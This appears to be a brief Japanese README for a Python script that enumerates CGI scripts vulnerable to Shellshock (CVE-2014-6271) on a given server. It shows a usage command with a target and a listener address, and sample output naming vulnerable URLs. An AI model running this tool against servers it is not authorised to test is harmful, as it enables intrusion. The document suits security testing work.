
特定の1つのサーバー上でCVE-2014-6271に脆弱なCGIスクリプトを列挙するPythonスクリプト
特定のサーバ上でCVE-2014-6271の影響を受けるCGIスクリプトを列挙するPythonスクリプト
$ python testing.py --server 172.16.255.130 --listen 172.16.255.1
##戻り値の例:
[+] Testing if 172.16.255.130 is vulnerable to CVE-2014-6271 via CGI
[+] Listening for incoming connections on the following socket 172.16.255.1:4443
[!] The server is vulnerable at the following URL: http://172.16.255.130/cgi-bin/status
[!] The server is vulnerable at the following URI: http://172.16.255.130/cgi-bin/ax.cgi
スレッディングおよびソケット機能に関する全般的な支援をいただいた https://github.com/Signus に特に感謝します。
Twitter: @francisckrs